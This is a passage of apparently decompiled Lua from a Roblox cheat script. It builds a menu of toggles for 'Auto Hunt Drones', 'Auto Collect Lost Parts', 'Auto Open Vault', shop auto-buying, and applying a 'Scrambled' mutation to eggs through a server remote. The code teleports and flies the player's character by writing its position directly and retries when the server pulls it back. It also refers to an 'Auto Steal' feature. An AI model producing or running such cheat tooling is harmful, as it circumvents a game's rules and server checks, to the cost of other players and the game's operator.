if not fn38(v28.Position + Vector3.new(0, 2.5, 0), arg, 6) then
return
end
continue
end
local str7 = v28.Kind == "Part" and "Picking up a Drone Part"
or "Picking up Samples"
str3 = str7
fn54(v28.Position + Vector3.new(0, 2.5, 0), v28.Position)
local n28 = os.clock() + 2.5
while tbl18[v27] and os.clock() < n28 and not arg() do
task.wait(0.1)
end
tbl18[v27] = nil
n27 = os.clock() + 1.2
end
end
local function fn62(arg, arg2)
local now = os.clock()
local n27 = tonumber(arg.Health) or 0
local v27 = nil
local v28 = nil
local flag6 = false
while not arg2() do
local v29 = tbl17[arg.Id]
local flag7 = not v29
local flag8
if flag7 then
flag8 = flag7
else
flag8 = (tonumber(v29.Health) or 0) <= 0
end
if flag8 then
return true
end
local v30 = fn48(arg.Id)
if v30 and v30:GetAttribute("DroneState") == "Death" then
tbl17[arg.Id] = nil
return true
end
local v31 = fn25()
local flag9 = v31 ~= nil and v29.Position ~= nil
if flag9 then
local position = v31.Position
local position2 = fn51(v29) or v29.Position
flag9 = (position - position2).Magnitude <= 30
end
flag9 = flag9 and not v30
if flag9 then
local now2 = v27 or os.clock()
if 1.5 < os.clock() - now2 then
tbl17[arg.Id] = nil
return false
end
v27 = now2
else
v27 = nil
end
local n28 = tonumber(v29.Health) or 0
if n28 ~= n27 then
v28 = nil
n27 = n28
end
if n21 < os.clock() - now then
tbl22[arg.Id] = os.clock() + 30
return false
end
local position = fn51(v29) or v29.Position
local v32 = fn25()
if not v32 then
return false
end
if fn35() and not fn35(position) then
fn29()
str3 = "Leaving the base through the safe zone"
if not fn38(position, arg2, 12) then
return false
end
if arg2() then
return false
end
end
fn54(position + Vector3.new(0, -1, 5), position)
if (v32.Position - position).Magnitude <= 60 then
fn59()
end
if (v32.Position - position).Magnitude <= n20 then
local now2 = v28 or os.clock()
if 8 < os.clock() - now2 then
tbl22[arg.Id] = os.clock() + 30
return false
end
if fn60() then
local format = string.format
local tier = v29.Tier ~= "" and v29.Tier or "drone"
local max = math.max
local n29 = tonumber(v29.Health) or 0
str3 = format("Smashing %s %d HP", tier, max(0, n29))
v28 = now2
elseif not flag6 then
str3 = "No bat found, get any bat to smash drones"
flag6 = true
v28 = now2
else
v28 = now2
end
else
str3 = "Flying to a drone"
end
task.wait(0.1)
end
return false
end
local function fn63(arg)
for _, v27 in ipairs(tbl24) do
if arg() then
return false
end
str3 = "Looking for drones"
fn54(v27)
local n27 = os.clock() + 12
while os.clock() < n27 and not arg() do
fn49()
if 0 < #fn50() then
return true
end
if tbl4.DistanceTo(v27) < 8 then
break
end
task.wait(0.2)
end
end
return #fn50() > 0
end
local function fn64()
local serverTimeNow = workspace:GetServerTimeNow()
local flag6, v27 = fn21()
flag6 = flag6 and v27
flag6 = flag6 and v27 < 25
if flag6 then
return next(tbl18) ~= nil
end
for _, v28 in pairs(tbl18) do
if
v28.Kind == "Part"
or v28.ExpiresAt and v28.ExpiresAt - serverTimeNow < 30
then
return true
end
end
return false
end
local v27 = nil
local function fn65()
local window = type(snapshot) == "table" and snapshot.Window or nil
local index = type(window) == "table" and window.Index or nil
return index
end
local function fn66(arg)
local flag6 = v27 ~= nil and v27 == fn65()
while not arg() do
RunService.Heartbeat:Wait()
if not arg() then
fn49()
if fn64() then
fn61(arg)
end
local v28, flag7, flag8, flag9, v29, position, flag10, magnitude, flag11, flag12, flag13, n27, v30, n28, flag14, v31, flag15
if fn35() then
fn29()
if fn37(arg) then
v28 = fn52()
flag7 = not v28 and next(tbl18) ~= nil
if flag7 then
fn61(arg)
fn49()
v28 = fn52()
end
if not v28 then
flag8 = not fn21() or flag6
if not flag8 then
v27 = fn65()
flag9 = true
flag6 = true
if not fn63(arg) then
break
else
continue
end
end
else
v29 = fn51(v28)
position = v29 or v28.Position
flag10 = fn25()
magnitude = flag10 and (flag10.Position - position).Magnitude
or 0
flag11 = str6 == "Teleport"
if not flag11 then
flag10 = flag11
end
if flag10 then
flag12 = fn35() and not fn35(position)
flag10 = not flag12
end
if flag10 then
flag13 = magnitude > n20
and magnitude <= n23
and os.clock() >= n25
and os.clock() - n26 >= n24
if flag13 then
n26 = os.clock()
n27 = position + Vector3.new(0, -1, 5)
fn54(n27, position)
v30 = fn25()
if v30 then
str3 = "Teleporting to the next drone"
pcall(function()
v30.CFrame = CFrame.lookAt(
n27,
Vector3.new(position.X, n27.Y, position.Z)
)
v30.AssemblyLinearVelocity =
Vector3.new(0, 0, 0)
v30.AssemblyAngularVelocity =
Vector3.new(0, 0, 0)
end)
n28 = os.clock() + 0.8
while true do
flag14 = os.clock() < n28 and not arg()
if flag14 then
v31 = fn25()
flag15 = v31
and (v31.Position - n27).Magnitude
> 40
if flag15 then
n25 = os.clock() + 30
str3 = "Teleport pulled back, tweening"
break
else
RunService.Heartbeat:Wait()
continue
end
end
break
end
end
end
end
fn62(v28, arg)
continue
end
end
else
v28 = fn52()
flag7 = not v28 and next(tbl18) ~= nil
if flag7 then
fn61(arg)
fn49()
v28 = fn52()
end
if not v28 then
flag8 = not fn21() or flag6
if not flag8 then
v27 = fn65()
flag9 = true
flag6 = true
if not fn63(arg) then
break
else
continue
end
end
else
v29 = fn51(v28)
position = v29 or v28.Position
flag10 = fn25()
magnitude = flag10 and (flag10.Position - position).Magnitude or 0
flag11 = str6 == "Teleport"
if not flag11 then
flag10 = flag11
end
if flag10 then
flag12 = fn35() and not fn35(position)
flag10 = not flag12
end
if flag10 then
flag13 = magnitude > n20
and magnitude <= n23
and os.clock() >= n25
and os.clock() - n26 >= n24
if flag13 then
n26 = os.clock()
n27 = position + Vector3.new(0, -1, 5)
fn54(n27, position)
v30 = fn25()
if v30 then
str3 = "Teleporting to the next drone"
pcall(function()
v30.CFrame = CFrame.lookAt(
n27,
Vector3.new(position.X, n27.Y, position.Z)
)
v30.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v30.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
n28 = os.clock() + 0.8
while true do
flag14 = os.clock() < n28 and not arg()
if flag14 then
v31 = fn25()
flag15 = v31
and (v31.Position - n27).Magnitude > 40
if flag15 then
n25 = os.clock() + 30
str3 = "Teleport pulled back, tweening"
break
else
RunService.Heartbeat:Wait()
continue
end
end
break
end
end
end
end
fn62(v28, arg)
continue
end
end
end
break
end
fn61(arg)
fn29()
end
local tbl31 = { LostPart1 = "Mechanical Gear", LostPart2 = "Wiring Harness" }
tbl4.ScrambleLostPart = function(arg)
return fn22(fn19(), arg)
end
fn44 = function()
local v28 = fn19()
if not v28 then
return "Lost Parts: no event data"
end
local drScrambleEvent = workspace:FindFirstChild("DrScrambleEvent")
local tbl32 = {}
local n27 = 0
local n28 = 0
for _, v29 in ipairs(tbl15) do
local v30 = drScrambleEvent and drScrambleEvent:FindFirstChild(v29)
if v30 then
n27 = n27 + 1
end
if fn22(v28, v29) then
n28 = n28 + 1
elseif v30 then
local ok, result = pcall(v30.GetPivot, v30)
ok = ok and tbl4.DistanceTo(result.Position)
ok = ok or nil
local n29 = #tbl32 + 1
ok = ok and string.format("%s %d studs", tbl31[v29], math.floor(ok))
tbl32[n29] = ok or tbl31[v29]
else
local n29 = #tbl32 + 1
tbl32[n29] = tbl31[v29] .. " not on map"
end
end
local str7 = string.format("Lost Parts on map %d/2 - Collected %d/2", n27, n28)
if 0 < #tbl32 then
str7 = str7 .. " - " .. table.concat(tbl32, " - ")
end
return str7
end
local function fn67(arg)
if not fn34() then
return true
end
local Exit = fn32("Exit")
local v28 = fn33(Exit, nil)
if not v28 then
return false
end
str3 = "Leaving the Secret Cave"
if not fn30(v28, arg, 4) then
return false
end
for i = 1, 4 do
if arg() then
return false
end
fn31(Exit or fn32("Exit"))
local n27 = os.clock() + 1.5
while os.clock() < n27 and fn34() do
RunService.Heartbeat:Wait()
end
if not fn34() then
return true
end
end
return not fn34()
end
local function fn68()
local v28 = tbl4.IsNight() or tbl4.WallSealed()
return v28
end
local function fn69(arg)
if not fn68() then
return true
end
fn29()
while fn68() and not arg() do
local str7 = tbl4.IsNight() and "Night, waiting for the wall to drop"
or "Waiting for the wall to drop"
str3 = str7
RunService.Heartbeat:Wait()
end
return not arg()
end
fn45 = function()
if not tbl4.Toggle(v23, false) or not fn20() then
return false
end
if tbl21.Ended then
return false
end
if tbl4.Toggle(v26, false) then
local v28 = fn19()
local flag6 = not v28 or v28.Completed == true
local flag7
if flag6 then
flag7 = flag6
else
flag7 = (tonumber(v28.DroneParts) or 0) >= 3
end
if flag7 then
return next(tbl18) ~= nil
end
end
if fn21() then
return true
end
fn49()
local flag6 = #fn50() > 0 or next(tbl18) ~= nil
return flag6
end
fn46 = function()
local v28 = fn19()
if not v28 or v28.Completed == true or not fn20() then
return false
end
local num = tonumber(v28.TotalParts)
if not num then
local v29 = fn23(v28)
local n27 = tonumber(v28.DroneParts) or 0
num = v29 + n27
end
local flag6 = tbl4.Toggle(v24, false)
if flag6 then
local n27 = #tbl15
flag6 = fn23(v28) < n27
end
local flag7 = tbl4.Toggle(v25, false) and (num >= 5 or v28.Discovered ~= true)
flag6 = flag6 or flag7
return flag6
end
fn47 = function(arg)
local function fn70()
local flag6 = arg ~= n16 or tbl4.Movement.Owner ~= "scramble"
return flag6
end
local function fn71()
local flag6 = fn70() or not fn45() or fn68()
return flag6
end
while true do
if fn45() and not fn70() then
if fn69(fn70) then
pcall(fn66, fn71)
if fn68() then
continue
end
end
end
break
end
fn29()
if fn70() or fn45() then
return
end
if not fn46() then
fn39(fn70)
str3 = ""
return
end
if not fn69(fn70) then
return
end
fn18(true)
local v28 = fn19()
if not v28 then
return
end
if not fn46() then
str3 = ""
return
end
if tbl4.Toggle(v25, false) and v28.Discovered ~= true then
pcall(fn41, fn70)
end
if tbl4.Toggle(v24, false) then
pcall(fn42, function()
local flag6 = fn70() or not tbl4.Toggle(v24, false) or fn45() or fn68()
return flag6
end)
end
if tbl4.Toggle(v25, false) then
pcall(fn43, function()
local flag6 = fn70() or not tbl4.Toggle(v25, false) or fn45() or fn68()
return flag6
end)
end
if fn34() and not fn70() then
pcall(fn67, fn70)
end
if not fn34() and not fn45() then
pcall(fn39, fn70)
end
end
end
end
local fn48
fn48 = function(arg)
if not (tbl4.Treadmill.Riding or tbl4.OnBelt()) then
return true
end
for i = 1, 3 do
if arg() then
return false
end
str3 = "Jumping off the treadmill"
tbl4.Treadmill.Riding = false
task.spawn(tbl4.LeaveBelt)
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if humanoid then
pcall(function()
humanoid.Sit = false
humanoid.Jump = true
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end)
end
local v27 = fn25()
if v27 then
local position = v27.Position
local n27 = position + Vector3.new(0, 18, 0)
local now = os.clock()
while true do
RunService.Heartbeat:Wait()
local v28 = fn25()
if not v28 then
break
else
local n28 = math.min(1, (os.clock() - now) / 0.25)
pcall(function()
local rotation = v28.CFrame.Rotation
v28.CFrame = CFrame.new(position:Lerp(n27, n28)) * rotation
v28.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v28.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
if not (n28 >= 1) then
continue
end
break
end
end
end
if not (tbl4.Treadmill.Riding or tbl4.OnBelt()) then
return true
end
end
return not tbl4.OnBelt()
end
local fn49
fn49 = function()
local flag6 = flag4
if not flag4 then
flag6 = not tbl4.ClaimMovement("scramble")
end
if flag6 then
return
end
flag4 = true
n16 = n16 + 1
local v27 = n16
local function fn50()
local flag7 = v27 ~= n16 or tbl4.Movement.Owner ~= "scramble"
return flag7
end
fn48(fn50)
tbl4.HoldBelt()
pcall(function()
fn18(false)
fn40(fn50)
end)
str3 = ""
tbl4.ReleaseBelt()
tbl4.ReleaseMovement("scramble")
tbl20.Tool = nil
tbl20.EquipAt = 0
flag4 = false
tbl2.Wake()
end
local v27
v27 = v4:CreateText({ Name = "Scramble Status", Text = "Loading Dr Scramble data..." })
v23 = v4:CreateToggle({
Name = "Auto Hunt Drones",
Note = "Kill drones during outbreaks for Samples and Drone Parts",
Default = false,
Callback = function()
n16 = n16 + 1
str3 = ""
n17 = 0
tbl2.Wake()
end,
})
v4:CreateDropdown({
Name = "Hunt Priority",
Options = tbl27,
Default = tbl27[1],
SubOf = v23,
Callback = function(arg)
str5 = tostring(arg)
end,
})
fn7(v4:CreateMultiDropdown({
Name = "Drone Types",
Options = tbl26,
Default = tbl26,
SubOf = v23,
Callback = function(arg)
local tbl30 = {}
if type(arg) == "table" then
for k, v28 in pairs(arg) do
local flag6 = v28 == true and type(k) == "string"
if not flag6 then
k = flag6
end
k = k or type(v28) == "string" and v28 or nil
for _, v29 in ipairs(tbl25) do
if v29.Label == k then
tbl30[v29.Tier] = true
end
end
end
end
tbl28 = tbl30
end,
}))
v4:CreateDropdown({
Name = "Hunt Travel Method",
Note = "Teleport only to drones within 110 studs, farther ones are tweened",
Options = tbl29,
Default = tbl29[1],
SubOf = v23,
Callback = function(arg)
str6 = tostring(arg)
end,
})
v4:CreateSlider({
Name = "Hunt Tween Speed",
Min = 100,
Max = 1000,
Default = 400,
Increment = 10,
Unit = "studs/s",
SubOf = v23,
Callback = function(arg)
local clamp = math.clamp
local n27 = tonumber(arg) or 400
n13 = clamp(n27, 100, 1000)
end,
})
v26 = v4:CreateToggle({
Name = "Only Until Vault Parts Found",
Default = false,
SubOf = v23,
Callback = function()
tbl2.Wake()
end,
})
v24 = v4:CreateToggle({
Name = "Auto Collect Lost Parts",
Note = "Collect the 2 Lost Parts for the vault",
Default = false,
Callback = function()
n16 = n16 + 1
str3 = ""
n17 = 0
tbl2.Wake()
end,
})
local v28
v28 = v4:CreateText({ Name = "Lost Parts Status", Text = "Checking the map..." })
v25 = v4:CreateToggle({
Name = "Auto Open Vault",
Note = "Open the vault when all 5 parts are found",
Default = false,
Callback = function()
n16 = n16 + 1
str3 = ""
n17 = 0
tbl2.Wake()
end,
})
local v29
v29 = v4:CreateToggle({
Name = "Auto Buy Scramble Shop",
Note = "Buy the picked items with Samples",
Default = false,
Callback = function()
n17 = 0
tbl2.Wake()
end,
})
fn7(v4:CreateMultiDropdown({
Name = "Scramble Shop Items",
Options = tbl16,
Default = { "Experiment #001", "Nibbles #013", "Scrambled Mutation" },
SubOf = v29,
Callback = function(arg)
local tbl30 = {}
if type(arg) == "table" then
for k, v30 in pairs(arg) do
if v30 == true and type(k) == "string" then
tbl30[k] = true
elseif type(v30) == "string" then
tbl30[v30] = true
end
end
end
tbl19 = tbl30
end,
}))
v4:CreateSlider({
Name = "Keep Samples",
Min = 0,
Max = 10000,
Default = 0,
Increment = 25,
Unit = "",
SubOf = v29,
Callback = function(arg)
local max = math.max
local n27 = tonumber(arg) or 0
n14 = max(0, n27)
end,
})
local tbl30
tbl30 = { "Highest Value", "Best Rarity", "Biggest Size" }
local tbl31
do
local tbl32 = { idle = "#8C93A6", work = "#FFC857", good = "#57E08A", stop = "#FF6B6B" }
local n27 = 6
tbl31 = {
Handle = nil,
BuyHandle = nil,
Loop = 0,
MinRarity = 0,
MinIncome = 0,
Priority = tbl30[1],
SkipMutated = true,
Targets = {},
Cooldown = 0,
Status = "Idle",
State = "idle",
Detail = "Turn it on to start applying Scrambled",
RarityColor = "#FFFFFF",
Icon = "",
Ui = {},
Row = nil,
Left = 0,
Pen = 0,
Match = 0,
Tries = 0,
Hits = 0,
Locked = nil,
Short = false,
EggOptions = {},
EggCategory = {},
}
local directory = tbl.Assets and tbl.Assets.Directory
local tbl33 = {}
if type(directory) == "table" then
for k, v30 in pairs(directory) do
local rarity = type(v30) == "table" and v30.Rarity or nil
local flag6 = type(rarity) == "table"
if flag6 then
local v31 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag6 = v31(rarityNumber)
end
flag6 = flag6 or nil
if flag6 then
local insert = table.insert
local tbl34 = { Category = tostring(k) }
local v31 = tostring
local displayName = v30.DisplayName or k
tbl34.Name = v31(displayName)
tbl34.Rarity = flag6
local v32 = tostring
local displayName2 = rarity.DisplayName or rarity._id or flag6
tbl34.RarityName = v32(displayName2)
insert(tbl33, tbl34)
end
end
end
table.sort(tbl33, function(arg, arg2)
if arg.Rarity ~= arg2.Rarity then
return arg.Rarity > arg2.Rarity
end
return arg.Name < arg2.Name
end)
for _, v30 in ipairs(tbl33) do
local str7 = string.format("%s [%s]", v30.Name, v30.RarityName)
if tbl31.EggCategory[str7] then
str7 = string.format("%s [%s] (%s)", v30.Name, v30.RarityName, v30.Category)
end
table.insert(tbl31.EggOptions, str7)
tbl31.EggCategory[str7] = v30.Category
end
local function fn50(arg)
local directory2 = tbl.Assets and tbl.Assets.Directory
local flag6 = type(directory2) == "table" and directory2[tostring(arg)] or nil
return flag6
end
local function fn51(arg)
local v30 = fn50(arg.AssetCategory)
local rarity = type(v30) == "table" and v30.Rarity or nil
local flag6 = type(rarity) == "table"
local n28
if flag6 then
local v31 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
n28 = v31(rarityNumber)
else
n28 = flag6
end
n28 = n28 or 0
return n28
end
local function fn52(arg)
local v30 = fn50(arg.AssetCategory)
local n28 = type(v30) == "table" and tonumber(v30.EarningRate) or 0
local n29 = tonumber(arg.AssetScale) or 0
if n28 <= 0 or n29 <= 0 then
return 0
end
local n30 = n29 > 5 and (n29 / 5) ^ 1.2 * 19.637875755794113 or n29 ^ 1.85
return n28 * n30
end
local function fn53(arg)
local v30 = tostring
local baseMutation = arg.BaseMutation or ""
if v30(baseMutation) == "Scrambled" then
return true
end
if type(arg.Mutations) == "table" then
for k, v31 in pairs(arg.Mutations) do
if type(v31) == "string" and v31 == "Scrambled" then
return true
end
if type(k) == "string" and k == "Scrambled" and v31 ~= false then
return true
end
end
end
return false
end
local function fn54()
local eggState = tbl.EggState
if type(eggState) ~= "table" or type(eggState.ReadOwnerEggs) ~= "function" then
return {}
end
local ok, result = pcall(eggState.ReadOwnerEggs, localPlayer.UserId)
local v30 = result
if not ok or type(v30) ~= "table" then
return {}
end
local tbl34 = {}
for k, v31 in pairs(v30) do
if type(v31) == "table" and v31.Placement ~= nil then
v31.Uid = v31.Uid or k
local n28 = #tbl34 + 1
tbl34[n28] = v31
end
end
return tbl34
end
local function fn55(arg)
arg = arg and arg.Uid
if arg then
local areaEggSlotsClient = workspace:FindFirstChild("AreaEggSlotsClient")
local v30 = areaEggSlotsClient and areaEggSlotsClient:FindFirstChild(arg)
if v30 then
local ok, result = pcall(function()
return v30:GetPivot().Position
end)
if ok and typeof(result) == "Vector3" then
return result
end
end
end
if type(tbl4.PenAnchor) == "function" then
local ok, result = pcall(tbl4.PenAnchor)
ok = ok and typeof(result) == "Vector3"
if ok then
return result
end
end
return nil
end
local function fn56(arg, arg2)
local v30 = fn55(arg)
if v30 == nil then
return true
end
if tbl4.DistanceTo(v30) <= n27 then
return true
end
local function fn56()
if arg2 ~= tbl31.Loop or not tbl4.Toggle(tbl31.Handle, false) then
return true
end
if tbl4.Movement.PlaceWanted == true then
return true
end
local flag6 = tbl4.Movement.ScrambleWanted == true or tbl4.Steal.Wanted == true
return flag6
end
if tbl4.Treadmill.Riding or tbl4.OnBelt() then
tbl4.ExitBelt()
end
tbl4.HoldBelt()
local ok, result = pcall(tbl4.FlyTo, v30 + Vector3.new(0, 3, 0), fn56, "mutation")
tbl4.ReleaseBelt()
tbl4.LeaveBelt()
if not ok then
result = ok
end
if result then
local n28 = n27 + 4
result = tbl4.DistanceTo(v30) <= n28
end
return result
end
local v30 = fn26
local function fn57(arg)
if not arg then
return 0
end
local num = tonumber(arg:GetAttribute("Uses"))
if num ~= nil then
return num
end
local n28 = tonumber((string.match(arg.Name, "%[X(%d+)%]"))) or 1
return n28
end
local function fn58()
local v31 = v30()
if not v31 then
return nil, 0
end
local v32 = fn57(v31)
if v32 <= 0 then
return nil, 0
end
return v31, v32
end
tbl31.Grip = function(arg)
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if not character or not humanoid or not arg or arg.Parent == nil then
return false
end
if arg.Parent ~= character then
pcall(function()
humanoid:EquipTool(arg)
end)
if arg.Parent ~= character then
pcall(function()
arg.Parent = character
end)
end
task.wait(0.2)
end
return arg.Parent == character
end
local function fn59()
if not tbl4.Toggle(tbl31.BuyHandle, false) or flag5 then
return false
end
flag5 = true
local flag6 = false
local ok, result = pcall(function()
flag6 = tbl31.Purchase()
end)
flag5 = false
if not ok then
tbl31.Status = "Buy failed: " .. tostring(result)
end
return flag6
end
tbl31.Purchase = function()
local n28 = 0
local flag6 = false
for i = 1, 10 do
local flag7 = n28 == 0 and fn18(true) or snapshot
local v31 = fn19()
local flag8 = type(flag7) ~= "table" or type(v31) ~= "table"
flag6 = false
if not flag8 then
local v32 = ipairs
local shop = type(flag7.Shop) == "table" and flag7.Shop or {}
local v33, v34, v35 = v32(shop)
local v36 = nil
for _, v37 in v33, v34, v35 do
if type(v37) == "table" and v37.Id == "MutationConsumable" then
v36 = v37
end
end
flag6 = false
if v36 then
local num = tonumber(v36.PurchaseLimit)
num = num and fn27(v31, v36) >= num
flag6 = false
if not num then
local huge = tonumber(v36.Price) or math.huge
if (tonumber(v31.Samples) or 0) - huge < n14 then
flag6 = true
if n28 == 0 then
tbl31.Status = "Need "
.. tostring(math.floor(huge))
.. " Samples"
flag6 = true
end
break
else
local v37 = fn17
local id = v36.Id
local tbl34 = { Quote = v36.Quote }
tbl34.Sequence = tonumber(v31.ShopSequence) or 0
local Shop = v37("Shop", id, tbl34)
local flag9 = type(Shop) ~= "table" or Shop.Ok ~= true
flag6 = false
if not flag9 then
n28 = n28 + 1
task.wait(0.4)
flag6 = false
continue
end
end
end
end
end
break
end
if 0 < n28 then
tbl31.Status = string.format("Bought %d Scrambled", n28)
tbl31.Short = flag6
return true
end
tbl31.Short = flag6
return false
end
local function fn60()
local n28 = 0
local n29 = 0
local n30 = -1
local v31 = nil
for _, v32 in ipairs(fn54()) do
n28 = n28 + 1
local skipMutated = tbl31.SkipMutated and fn53(v32)
local flag6 = false
if skipMutated then
flag6 = true
end
local flag7 = not flag6
local flag8
if flag7 then
local minRarity = tbl31.MinRarity
flag8 = fn51(v32) < minRarity
else
flag8 = flag7
end
if flag8 then
flag6 = true
end
local flag9 = not flag6 and tbl31.MinIncome > 0
if flag9 then
local minIncome = tbl31.MinIncome
flag9 = fn52(v32) < minIncome
end
if flag9 then
flag6 = true
end
if
not flag6
and next(tbl31.Targets) ~= nil
and tbl31.Targets[tostring(v32.AssetCategory)] ~= true
then
flag6 = true
end
if not flag6 then
n29 = n29 + 1
local n31
if tbl31.Priority == tbl30[2] then
local n32 = fn51(v32) * 1000
local n33 = tonumber(v32.AssetScale) or 0
n31 = n32 + n33
elseif tbl31.Priority == tbl30[3] then
n31 = tonumber(v32.AssetScale) or 0
else
n31 = fn52(v32)
end
local flag10 = n31 > n30
if not flag10 and v31 ~= nil and n31 == n30 and v32.Uid == tbl31.Locked then
n30 = n31
v31 = v32
elseif flag10 then
n30 = n31
v31 = v32
end
end
end
local v32 = tbl31
tbl31.Pen = n28
v32.Match = n29
return v31
end
local function fn61(arg)
if typeof(arg) ~= "Color3" then
return "#FFFFFF"
end
local floor = math.floor
local n28 = arg.B * 255 + 0.5
return string.format(
"#%02X%02X%02X",
math.floor(arg.R * 255 + 0.5),
math.floor(arg.G * 255 + 0.5),
floor(n28)
)
end
local function fn62(arg)
local ok, result = pcall(Color3.fromHex, arg)
local v31 = result
if not ok or typeof(v31) ~= "Color3" then
return arg
end
local v32, v33, v34 = v31:ToHSV()
return fn61(Color3.fromHSV(v32, math.min(v33, 0.78), math.max(v34, 0.82)))
end
local function fn63(arg)
local v31 = fn50
arg = arg and arg.AssetCategory
local v32 = v31(arg)
local icon = type(v32) == "table" and v32.Icon or nil
if icon == nil then
return ""
end
if tonumber(icon) then
return "rbxassetid://" .. tostring(icon)
end
return tostring(icon)
end
local function fn64(arg)
local v31 = fn50
arg = arg and arg.AssetCategory
local v32 = v31(arg)
local rarity = type(v32) == "table" and v32.Rarity or nil
local flag6 = type(rarity) == "table"
local str7
if flag6 then
local v33 = tostring
local displayName = rarity.DisplayName or rarity._id or ""
str7 = v33(displayName)
else
str7 = flag6
end
str7 = str7 or ""
local color = type(rarity) == "table" and rarity.Color or nil
return str7, fn62(fn61(color))
end
local function fn65(arg)
if type(arg) ~= "table" then
return "No egg selected"
end
local v31 = fn50(arg.AssetCategory)
local flag6 = type(v31) == "table"
if flag6 then
local v32 = tostring
local displayName = v31.DisplayName or arg.AssetCategory
flag6 = v32(displayName)
end
flag6 = flag6 or tostring(arg.AssetCategory)
return flag6
end
local function fn66()
local idle = tbl32[tbl31.State] or tbl32.idle
if tbl31.Ui.Accent and type(tbl31.Ui.Accent.Set) == "function" then
tbl31.Ui.Accent.Set({ Background = idle })
end
if tbl31.Ui.Title and type(tbl31.Ui.Title.Set) == "function" then
tbl31.Ui.Title.Set({ Text = tbl31.Status, Color = idle })
end
if tbl31.Ui.Egg and type(tbl31.Ui.Egg.Set) == "function" then
tbl31.Ui.Egg.Set({ Text = tbl31.Detail, Color = tbl31.RarityColor })
end
if tbl31.Ui.Meta and type(tbl31.Ui.Meta.Set) == "function" then
tbl31.Ui.Meta.Set({
Text = string.format(
"Charges %d Eggs %d/%d Tries %d Applied %d",
tbl31.Left,
tbl31.Match,
tbl31.Pen,
tbl31.Tries,
tbl31.Hits
),
})
end
if tbl31.Ui.Icon and type(tbl31.Ui.Icon.Set) == "function" then
tbl31.Ui.Icon.Set({
Visible = tbl31.Icon ~= "",
Image = tbl31.Icon,
StrokeColor = tbl31.RarityColor,
})
end
if tbl31.Row and type(tbl31.Row.Set) == "function" then
pcall(tbl31.Row.Set, tbl31.Row, tbl31.Status .. " - " .. tbl31.Detail)
end
end
local function fn67(arg)
if type(arg) ~= "table" then
tbl31.Detail = "No egg matches the filters"
tbl31.RarityColor = "#C7CBD6"
tbl31.Icon = ""
return
end
local v31, v32 = fn64(arg)
local n28 = tonumber(arg.AssetScale) or 0
tbl31.Detail = string.format("%s %.2f kg", fn65(arg), n28)
if v31 ~= "" then
tbl31.Detail = tbl31.Detail .. " " .. string.upper(v31)
end
tbl31.RarityColor = v32
tbl31.Icon = fn63(arg)
end
tbl31.Apply = function(arg, arg2)
if not tbl31.Grip(arg2) then
tbl31.State = "work"
tbl31.Status = "Could not hold Scrambled"
tbl31.Cooldown = os.clock() + 2
return false
end
local packages = ReplicatedStorage:FindFirstChild("Packages")
packages = packages and packages:FindFirstChild("Networking")
local rfBossMasteryAskUseMutationConsu = packages
and packages:FindFirstChild("RF/BossMastery/AskUseMutationConsumable")
if
not rfBossMasteryAskUseMutationConsu
or not rfBossMasteryAskUseMutationConsu:IsA("RemoteFunction")
then
tbl31.State = "stop"
tbl31.Status = "Mutation remote is missing"
tbl31.Cooldown = os.clock() + 10
return false
end
tbl31.State = "work"
tbl31.Status = "Applying Scrambled"
tbl31.Tries = tbl31.Tries + 1
local ok, result = pcall(function()
return rfBossMasteryAskUseMutationConsu:InvokeServer(arg.Uid)
end)
if not ok or type(result) ~= "table" then
tbl31.Cooldown = os.clock() + 10
return false
end
if result.Success == true then
tbl31.Status = "Scrambled applied"
tbl31.Locked = nil
tbl31.State = "good"
tbl31.Hits = tbl31.Hits + 1
return true
end
local v31 = tostring
local message = result.Message or ""
local str7 = v31(message)
local v32 = string.lower(str7)
local v33 = tbl31
local flag6 = str7 ~= ""
if not flag6 then
str7 = flag6
end
str7 = str7 or "Try failed"
v33.Status = str7
tbl31.State = "work"
if string.find(v32, "not found") or string.find(v32, "invalid") then
tbl31.Locked = nil
tbl31.Cooldown = os.clock() + 3
return false
end
return true
end
tbl31.Settle = function()
local n28 = os.clock() + 3
while os.clock() < n28 do
if tbl4.Grounded() then
return
end
RunService.Heartbeat:Wait()
end
end
tbl31.Over = function(arg)
if arg ~= tbl31.Loop or not tbl4.Toggle(tbl31.Handle, false) then
return true
end
if tbl4.Movement.PlaceWanted == true then
return true
end
local flag6 = tbl4.Movement.ScrambleWanted == true or tbl4.Steal.Wanted == true
return flag6
end
tbl31.Idle = function(arg, arg2, arg3)
tbl31.State = "idle"
tbl31.Status = arg
tbl31.Left = 0
tbl31.Detail = arg2
tbl31.RarityColor = "#C7CBD6"
tbl31.Icon = ""
local v31 = tbl31
local now = os.clock()
local n28 = arg3 or 5
v31.Cooldown = now + n28
end
local function fn68(arg)
if tbl4.Movement.ScrambleWanted == true or tbl4.Steal.Wanted == true then
tbl31.State = "work"
local v31 = tbl31
v31.Status = tbl4.Movement.ScrambleWanted == true and "Drone hunt goes first"
or "Auto Steal goes first"
tbl31.Cooldown = os.clock() + 2
return
end
local cooldown = tbl31.Cooldown
if os.clock() < cooldown then
return
end
local v31, v32 = fn58()
if not v31 then
pcall(fn60)
if fn59() then
tbl31.Cooldown = os.clock() + 0.5
return
end
if tbl31.Short then
tbl31.Idle(
"Out of Samples, waiting for more",
"Hunt drones to earn Samples",
10
)
return
end
if not string.find(tbl31.Status, "Samples", 1, true) then
tbl31.Status = "Need a Scrambled consumable"
end
tbl31.Idle(tbl31.Status, "Buy Scrambled from the event shop", 5)
return
end
tbl31.Left = v32
local v33 = fn60()
if not v33 or not v33.Uid then
tbl31.State = "stop"
tbl31.Status = "Waiting"
fn67(nil)
return
end
if tbl4.Movement.PlaceWanted == true then
tbl31.State = "work"
tbl31.Status = "Auto Place goes first"
tbl31.Cooldown = os.clock() + 2
return
end
if not tbl4.ClaimMovement("mutation") then
tbl31.State = "work"
local v34 = tbl31
local v35 = tostring
local owner = tbl4.Movement.Owner or "movement"
v34.Status = "Waiting for " .. v35(owner)
tbl31.Cooldown = os.clock() + 2
return
end
tbl4.Movement.MutationWanted = true
